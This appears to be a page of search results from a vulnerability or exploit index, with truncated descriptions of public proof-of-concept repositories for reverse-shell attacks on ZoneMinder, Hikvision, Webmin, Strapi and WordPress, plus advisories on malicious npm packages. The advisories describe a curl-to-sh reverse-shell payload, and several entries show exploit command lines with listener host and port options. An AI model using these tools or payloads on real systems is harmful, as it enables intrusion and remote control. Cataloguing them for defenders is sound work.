40950 matches found
zoneminder-1.29-1.30-rce-exploit
ZoneMinder 1.29/1.30 SQLiからRCEへのエクスプロイト ZoneMinder 1.29/1.30 向けのすぐに実行できる Python エクスプロイトで、認証不要の SQL インジェクション（CVE-2016-10204 、EDB-41239）を連鎖させて、対話型リバースシェルまで到達します。 これは既知の修正済み CVE に対する weaponized/自動化された PoC であり、新しいエクスプロイトではありません。 このバグに対する EDB の PoC は SQLi ペイロードで止まるか、「sqlmap を向ける」だけです。このエクスプロイトは完全な SQL...
hikvision-unauthenticated-rce-cve-2021-36260
Hikvision CVE-2021-36260 RCE 취약점 취약점 설명 공격자는 이 취약점을 이용하여 제한된 보호 셸psh에 얽매인 장치 소유자와 관계없이 무제한 루트 셸로 장치를 완전히 제어할 수 있습니다. IP 카메라 침입 외에도 내부 네트워크에 접근하여 공격할 수 있습니다. FOFA header="Hikvision" app="HIKVISION-视频监控" 사용 방법 python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check python ./CVE-2021-36260.py ...
webmin_cve-2019-12840_poc
webmincve-2019-12840poc CVE-2019-12840에 대한 독립형 PoC입니다. 아래는 포트 443으로 리버스 셸을 전송합니다. $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ / / | |/...
CVE-2026-34234-Lab
CVE-2026-34234 - CtrlPanel 설치 프로그램 RCE 실습 환경 CtrlPanel에서 CVE-2026-34234를 시연하기 위한 로컬 Docker 실습 환경입니다. 이 저장소는 다음을 비교합니다: vuln: 다이제스트로 고정된 CtrlPanel 1.1.1 patched: 다이제스트로 고정된 CtrlPanel 1.2.0 실습 환경은 로컬 전용이며 서비스를 127.0.0.1에 바인딩합니다. 요약 CVE-2026-34234는 CtrlPanel 웹 설치 프로그램의 인증되지 않은 RCE원격 코드 실행입니다. 이 문제는 ...
CVE-2024-24590
ClearML 익스플로잇 이 저장소는 ClearML의 역직렬화 취약점에 대한 개념 증명 익스플로잇을 포함하고 있으며, 이를 통해 원격 명령 실행이 가능합니다. 이 익스플로잇은 악성 피클 아티팩트를 ClearML에 업로드하여 리버스 셸을 획득하는 방법을 보여줍니다. 사전 요구 사항 시작하기 전에 다음 요구 사항을 충족했는지 확인하세요: ClearML이 실행 중인 머신. Python 3.8 이상. clearml 라이브러리가 설치되어 있어야 합니다. pip를 사용하여 설치할 수 있습니다: pip install clearml...
React2Shell-CTF
🛡️ React2Shell CTF 🚀 React2Shell-CTF 에 오신 것을 환영합니다. 이는 React2Shell CVE-2025-55182 취약점을 악용하는 연습을 위해 설계된 Dockerized 환경입니다. React2Shell 은 React 기반 애플리케이션에 영향을 미치는 심각한 취약점입니다. 이 저장소는 이 결함을 이해하고 완화하는 데 도움이 되는 안전하고 로컬에서 배포 가능한 CTFCapture The Flag 챌린지를 제공합니다. 리버스 셸을 띄울 수 있나요? 🐚 ℹ️ 취약점 정보 CVE-2025-55182 에...
Malicious code in aria-live-region-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 391a9a163273e36e3945f918ea720b8e10aa462b0aa603d4012b28c557c58570 The package is advertised as an ARIA accessibility helper but ships thunderboltRegistry.js, which executes a top-level IIFE on module load. The IIFE...
Malicious code in css-ayucyz-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8c7540d3981f510255434529f76a2ed9a24b0783e7e8e3369b41f71b93ebd1a On require, thunderboltRegistry.js runs an IIFE that acquires childprocess via multiple fallbacks and executes shell commands id, whoami, uname -a,...
MAL-2026-17548 Malicious code in css-ayucyz-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8c7540d3981f510255434529f76a2ed9a24b0783e7e8e3369b41f71b93ebd1a On require, thunderboltRegistry.js runs an IIFE that acquires childprocess via multiple fallbacks and executes shell commands id, whoami, uname -a,...
Malicious code in css-dwsawd-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1c370cda09695e44d06a44bc14d14817edadc047e4dad0314edcfc752be796e9 The package name mimics a Wix thunderbolt polyfill and ships a registry-manifest.min.json that aliases legitimate @wix thunderbolt registry module...
MAL-2026-17550 Malicious code in css-dwsawd-polyfill (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1c370cda09695e44d06a44bc14d14817edadc047e4dad0314edcfc752be796e9 The package name mimics a Wix thunderbolt polyfill and ships a registry-manifest.min.json that aliases legitimate @wix thunderbolt registry module...
MAL-2026-17562 Malicious code in internallib_v923 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...
Malicious code in internallib_v923 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...
CVE-2019-9978
CVE-2019-9978 – 概念実証 PoC CVE-2019-9978 の脆弱性に対する機能する PoC です。この脆弱性は WordPress プラグイン Social Warfare = 3.5.2 に影響し、リモートコード実行 RCE を可能にします。 📌 説明 このエクスプロイトは swpdebug=loadoptions パラメータを悪用してリモートペイロードの読み込みを強制し、対象サーバーでのコマンド実行と リバースシェル の取得を可能にします。 ⚠️ 教育目的および許可された環境でのみ使用してください 。 🧰 要件 Python 3 脆弱な...
CVE-2020-17530-s2-061
CVE-2020-17530-s2-061 s2-061 그래픽 인터페이스 exp, only for fun and practice 사용 python CVE-2020-17530.py 타겟 주소 입력 실행할 시스템 명령 입력 실행 클릭 PS: exp에 리버스 쉘 함수가 내장되어 있지만, GUI에 해당 버튼과 설정을 추가하기 귀찮아서 여기까지만 합니다...
strapi_cms_3.0.0-beta.17.7
Strapi CMS CVE-2019-18818 및 19606 Strapi CMS 버전 3.0.0-beta.17.7 이하에서 리버스 셸을 획득하기 위한 블라인드 원격 코드 실행 시작하기 프로그램 실행 Python3 사용 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 도움말 도움말 프롬프트 python3 strapiexp.py -h 면책 조항 이 저장소에 제공된 모든 코드는...
Elastix-2.2.0-CVE-2012-4869
Elastix 2.2.0 Local File Inclusion Exploit - CVE-2012-4869 Description This script exploits a Local File Inclusion LFI vulnerability in Elastix 2.2.0 , allowing remote code execution RCE by injecting commands via the callmepage.php endpoint. The exploit is based on CVE-2012-4869. Features Bypasse...
bin2shell
bin2shell bin2shell은 바이너리 파일에서 셸 코드를 추출하기 위한 아주 작은 유틸리티입니다. bash bin2shell.sh additionNum \x45\x6e\x74\x65\x72\x20\x4e\x75\x6d\x62\x65\x72\x20\x31\x20\x3a\x20\x45\x6e\x74\x65\x72\x20\x4e\x75\x6d 감사합니다 TOUHID SHAIKH...
CVE-2019-18818_CVE-2019-19609
Exploits for CVE-2019-18818 and CVE-2019-19609 This repository contains a Python script to exploit two vulnerabilities: CVE-2019-18818 and CVE-2019-19609. CVE-2019-18818 This vulnerability allows an attacker to reset the password of an admin user in the Strapi CMS. Usage 1. Modify the target and...